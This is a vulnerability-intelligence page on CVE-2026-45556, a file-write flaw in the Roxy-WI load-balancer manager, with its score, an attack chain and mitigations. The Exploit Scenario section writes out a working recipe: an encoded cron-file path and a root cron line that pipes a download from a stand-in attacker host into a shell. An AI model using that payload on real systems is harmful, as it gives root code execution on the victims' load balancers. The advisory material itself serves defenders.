What is the CVSS score of CVE-2026-45556?

CVE-2026-45556 has a CVSS 3.1 base score of 9.9 (Critical). CVSS vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H. EPSS exploitation probability: 0.1%.

How to fix or mitigate CVE-2026-45556?

Within 24 hours: Inventory all Roxy-WI deployments and confirm version numbers; immediately revoke or rotate credentials for users with WAF rule management access. Within 7 days: Implement network-level access controls restricting access to the WAF rule save endpoint; enable detailed audit logging of file writes to system directories (/etc/cron.d/, /etc/cron.*); consider disabling Roxy-WI if business requirements permit. Within 30 days: Monitor vendor advisories for patch availability (subscribe to Roxy-WI security feeds); conduct forensic analysis of load balancer systems for unauthorized cron jobs or suspicious file modifications; develop upgrade plan for when patch becomes available.

Roxy-WI CVE-2026-45556

EUVD-2026-36038 CRITICAL

Improper Input Validation (CWE-20)

2026-06-10 GitHub_M

Apache Information Disclosure Nginx Roxy Wi

9.9

CVSS 3.1 · NVD

View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

Access

Obtain low-priv Roxy-WI account
Delivery

POST crafted save request to /waf endpoint
Exploit

Bypass substring path validation via 92-encoded slashes
Execution

Write malicious cron file to /etc/cron.d on managed LB
Persist

Cron executes payload as root
Impact

Pivot across all group-managed load balancers

Vulnerability Assessment

Weakness	CWE CWE-20 OWASP Top 10:2025 A05:2025 - Injection ASVS 5.0 V2 - Validation and Business Logic Input validation, allowlisting
Exploitation Conditions	Exploitation requires a valid low-privileged Roxy-WI user account with permission to call POST /waf/<service>/<server_ip>/rule/<rule_id>/save (PR:L per CVSS), and the attacker's group must include at least one managed load balancer for the RCE to land. No user interaction is needed (UI:N) and the attack works over the network against any reachable Roxy-WI ≤ 8.2.6.4 web interface; default configurations are vulnerable since the flaw is in core path-validation logic, not an optional feature. Limiting factors: external unauthenticated attackers cannot exploit this directly without first obtaining Roxy-WI credentials, and the blast radius is bounded by which load balancers the compromised account's group manages.
Impact	The CVSS 9.9 score (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) accurately reflects severe real-world risk: network-reachable, low complexity, scope-changing (the Roxy-WI web app pivots into root code execution on every downstream load balancer), with full CIA impact. PR:L indicates a low-privilege Roxy-WI user account is required, which limits pure external attackers but maps directly to any compromised operator credential or any tenant in a shared deployment. No EPSS, KEV, or SSVC data was provided in the intelligence feed, and no public exploit has been identified at time of analysis, so this is not currently confirmed actively exploited. However, the description provides a fully worked exploitation recipe (the '92etc92cron.d92nginx_cfg_evil' filename trick) that effectively serves as a written PoC, and the absence of a vendor patch sharply elevates urgency. This should be treated as a real, prioritize-now issue, not a paper-only high CVSS.
Exploit ScenarioDerived	An attacker with any low-privileged Roxy-WI account (e.g., a contractor with WAF-edit rights, or a compromised operator credential) sends a POST to /waf/nginx/<server_ip>/rule/<rule_id>/save with config_file_name set to '92etc92cron.d92nginx_cfg_evil' and a config body containing '* * * * * root curl attacker.tld/x\|sh'. Roxy-WI decodes 92→/, validates the path contains 'nginx' and 'cfg', and writes the file to /etc/cron.d/nginx_cfg_evil on every load balancer in the user's group; within a minute cron executes the payload as root across the entire LB fleet.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.

No patch listed yet 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 10, 2026

Remote code execution in Roxy-WI versions 8.2.6.4 and prior allows authenticated users to write attacker-controlled content to arbitrary absolute paths on managed load balancers via the WAF rule save endpoint. By dropping a malicious cron file (e.g., /etc/cron.d/nginx_cfg_evil), an attacker achieves root-level code execution on every load balancer in the caller's group. No public exploit identified at time of analysis, and no vendor-released patch is currently available, making this a high-priority issue for any exposed deployment.

RemediationAI

No vendor-released patch identified at time of analysis - the GHSA advisory (https://github.com/roxy-wi/roxy-wi/security/advisories/GHSA-85gm-773v-x7m4) states no public patches exist at publication, so monitor that advisory for an upstream fix and upgrade as soon as a patched release is announced. As compensating controls, restrict network access to the Roxy-WI web interface to a trusted admin VLAN or VPN to neutralize the AV:N exposure; tighten Roxy-WI group memberships and audit all low-privilege accounts since PR:L is the entry barrier; if WAF rule editing is not actively used, remove user permissions to the /waf/*/rule/*/save endpoint via a reverse-proxy ACL (trade-off: blocks legitimate WAF rule updates); on the managed load balancers, deploy file-integrity monitoring on /etc/cron.d, /etc/cron.hourly, and other cron drop-in directories to detect attacker-written files before the next cron scan executes them.

Affected VersionsENISA

roxy-wi ≤ 8.2.6.4

Affected Packages

euvd roxy_wi no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Roxy-WI is a web interface that centrally manages HAProxy, Nginx, Apache, and Keepalived load balancer servers (CPE: cpe:2.3:a:roxy-wi:roxy-wi). The vulnerability is a textbook CWE-20 Improper Input Validation flaw in the path-handling logic of the WAF rule save endpoint (POST /waf/<service>/<server_ip>/rule/<rule_id>/save). The validation helpers _replace_config_path_to_correct and check_is_conf only enforce that the destination path contains a hard-coded service substring (nginx, haproxy, apache2, httpd, or keepalived) plus 'conf' or 'cfg', and that it lacks '..' traversal sequences. Critically, the encoded-slash substitution (decoding '92' to '/') runs BEFORE the substring check, so any absolute path satisfying the trivial substring constraints can be reached. The config form field body is then written verbatim by config_mod.master_slave_upload_and_restart to the chosen destination on the managed load balancer.

Know when Roxy Wi gets its next vulnerability

Watch products and get an email when something new is published
Check this CVE against your own stack and servers
Exploit and PoC references, threat intelligence from 22 sources

Continue with Google Continue with GitHub

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 9.9 CRITICAL

AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector

Network

Attack Complexity

Low

Privileges Required

Low

User Interaction

None

Scope

Changed

Confidentiality

High

Integrity

High

Availability

High

DescriptionNVD

Roxy-WI is a web interface for managing Haproxy, Nginx, Apache and Keepalived servers. In versions 8.2.6.4 and prior, POST /waf/<service>/<server_ip>/rule/<rule_id>/save accepts a config_file_name form field that is passed straight through to config_mod.master_slave_upload_and_restart(...) as the destination path. The validation chain (_replace_config_path_to_correct → check_is_conf) only requires the path to contain a hard-coded service substring (nginx/haproxy/apache2/httpd/keepalived) and the substring conf or cfg, and to not contain ... The encoded-slash substitution 92 → / is applied before the substring check, so the attacker can build any absolute path anywhere on the LB filesystem as long as it satisfies those substring constraints. The body of the WAF rule (config form field) is written verbatim to that path. By choosing a filename like 92etc92cron.d92nginx_cfg_evil (resolving to /etc/cron.d/nginx_cfg_evil), an attacker drops a cron entry on the load balancer with attacker-controlled content. Cron parses the file on its next scan, executing the embedded job as root - full RCE on every load balancer the caller's group manages. At time of publication, there are no publicly available patches.

Articles & Coverage 4

News 9 New Nginx Vulnerabilities - 4 Critical, 5 High Severity Patched Jun 11, 2026 News 12 New Apache Vulnerabilities - 6 Critical, 6 High Severity Jun 11, 2026 News 11 New Apache Vulnerabilities - 4 Critical, 7 High Severity Jun 10, 2026 News Critical RCE in Roxy-WI Nginx Manager 8.2.6.4 - CVE-2026-45556 Jun 10, 2026

Executive ViewAI

Why It Matters

Roxy-WI versions 8.2.6.4 and earlier allow authenticated users to write arbitrary files to all managed load balancers in their group, enabling root-level code execution that could compromise infrastructure availability and security. An attacker with valid credentials can inject malicious cron jobs to execute commands with highest privileges across the entire load balancer fleet. No vendor patch is currently available, making this a critical threat requiring immediate compensating controls to prevent exploitation.

Business Impact: Severe

Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict network access to WAF rule save endpoint using firewall rules; (2) Implement role-based access controls limiting WAF rule modification to essential administrators only; (3) Deploy file integrity monitoring on load balancers targeting /etc/cron.d/, /etc/cron.*, /var/spool/cron/, and other cron locations; (4) Enable comprehensive audit logging of API calls to WAF endpoints; (5) Consider disabling Roxy-WI functionality temporarily if business criticality is low; (6) Monitor load balancer process execution for suspicious cron invocations.

Threat Intelligence Overview

EPSS Score

0.1%

Top 77% exploitable

Data Quality

5 sources

Confidence: Medium

EUVD

NVD

CVE.org

EPSS

Vulnrichment

GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue

Severity CRITICAL

CISA KEV No

Public POC No

EPSS 0.1%

Patch available No

Active threat No

Deciding rule

CRITICAL severity

What every action level means

Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.

Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.

This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.

This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.

Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision

Out-of-Cycle

Exploitation

Poc

System Exposure· derived

Open

Automatable

Human Impact

Very High

Technical Impact

Total

Priority Score

Low Medium High Critical

KEV: 0

EPSS: 0

CVSS: +50

PoC: 0

Weaponized: 0

Threat intel: 0

Gov advisory: 0

Attack Technique

Information Disclosure MEDIUM

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.